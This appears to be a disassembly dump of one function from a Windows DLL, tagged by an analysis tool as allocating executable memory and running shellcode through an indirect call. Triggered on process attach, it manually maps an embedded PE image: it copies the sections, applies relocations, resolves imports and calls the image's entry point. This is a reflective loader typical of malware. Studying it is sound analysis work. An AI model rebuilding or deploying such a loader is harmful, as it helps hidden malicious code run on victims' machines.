Function at 0x1800012c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x88
mov rax, qword [0x180005008]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp edx, 1
jne 0x1800015b9
xor r9d, r9d
mov qword [rsp + 0x78], r12
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [0x180005640], rax
call section..text
mov qword [rsp + 0x48], rax
mov r12, rax
test rax, rax
je 0x1800015b4
mov qword [rsp + 0x90], rbx
mov r9d, 0x40
mov qword [rsp + 0x98], rbp
mov r8d, 0x3000
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x70], r13
movsxd r13, dword [rax + 0x3c]
add r13, rax
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x30], r13
mov edx, dword [r13 + 0x50]
mov rcx, qword [r13 + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, dword [r13 + 0x54]
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
mov r9d, ebx
mov rcx, rax
mov qword [rsp + 0x20], rdi
mov r8, r12
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx r14d, word [r13 + 0x14]
mov r15d, edi
add r14, 0x2c
cmp di, word [r13 + 6]
jae 0x1800013e5
add r14, r13
mov esi, dword [r14 - 8]
mov edi, dword [r14]
add rsi, rbp
mov ebx, dword [r14 - 4]
add rdi, r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, ebx
mov qword [rsp + 0x20], 0
mov rcx, rax
mov r8, rdi
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [r13 + 6]
lea r14, [r14 + 0x28]
inc r15
cmp r15, rax
jb 0x1800013a0
xor edi, edi
mov rax, qword [r13 + 0xb0]
mov r12, rbp
mov rcx, qword [rsp + 0x30]
mov r14d, edi
mov r13d, eax
add r13, rbp
mov qword [rsp + 0x40], rax
shr rax, 0x20
sub r12, qword [rcx + 0x30]
mov qword [rsp + 0x38], r13
test eax, eax
je 0x1800014d2
mov ecx, 0x1000
nop dword [rax]
mov r15d, r14d
add r14d, 8
add r15, r13
mov edi, r14d
add rdi, r13
mov eax, dword [r15 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x1800014c7
mov esi, eax
lea r14d, [r14 + rax*2]
xor r13d, r13d
nop dword [rax]
movzx eax, word [rdi]
cmp ax, cx
jb 0x1800014b8
and eax, 0xfff
mov qword [rsp + 0x50], r13
add eax, dword [r15]
mov ebx, eax
add rbx, rbp
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], r13
mov rcx, rax
lea r8, [rsp + 0x50]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
add qword [rsp + 0x50], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], r13
mov rcx, rax
lea r8, [rsp + 0x50]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, 0x1000
add rdi, 2
sub rsi, 1
jne 0x180001450
mov r13, qword [rsp + 0x38]
cmp r14d, dword [rsp + 0x44]
jb 0x180001420
mov r14, qword [rsp + 0x30]
mov r15, qword [rsp + 0x60]
mov r13, qword [rsp + 0x70]
mov esi, dword [r14 + 0x90]
add rsi, 0xc
add rsi, rbp
mov eax, dword [rsi]
test eax, eax
je 0x180001547
mov ecx, eax
add rcx, rbp
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x18000153c
mov ebx, dword [rsi + 4]
add rbx, rbp
mov rcx, qword [rbx]
test rcx, rcx
je 0x18000153c
jns 0x18000151d
movzx edx, cx
jmp 0x180001524
lea rdx, [rbp + 2]
add rdx, rcx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx], rax
add rbx, 8
mov rcx, qword [rbx]
test rcx, rcx
jne 0x180001516
mov eax, dword [rsi + 0x14]
add rsi, 0x14
test eax, eax
jne 0x1800014f5
mov eax, dword [r14 + 0x28]
xor r8d, r8d
add rax, rbp
mov rcx, rbp
lea edx, [r8 + 1]
call rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x48]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x180005640]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x180005640]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x90]
mov r12, qword [rsp + 0x78]
mov eax, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1800015f0
add rsp, 0x88
ret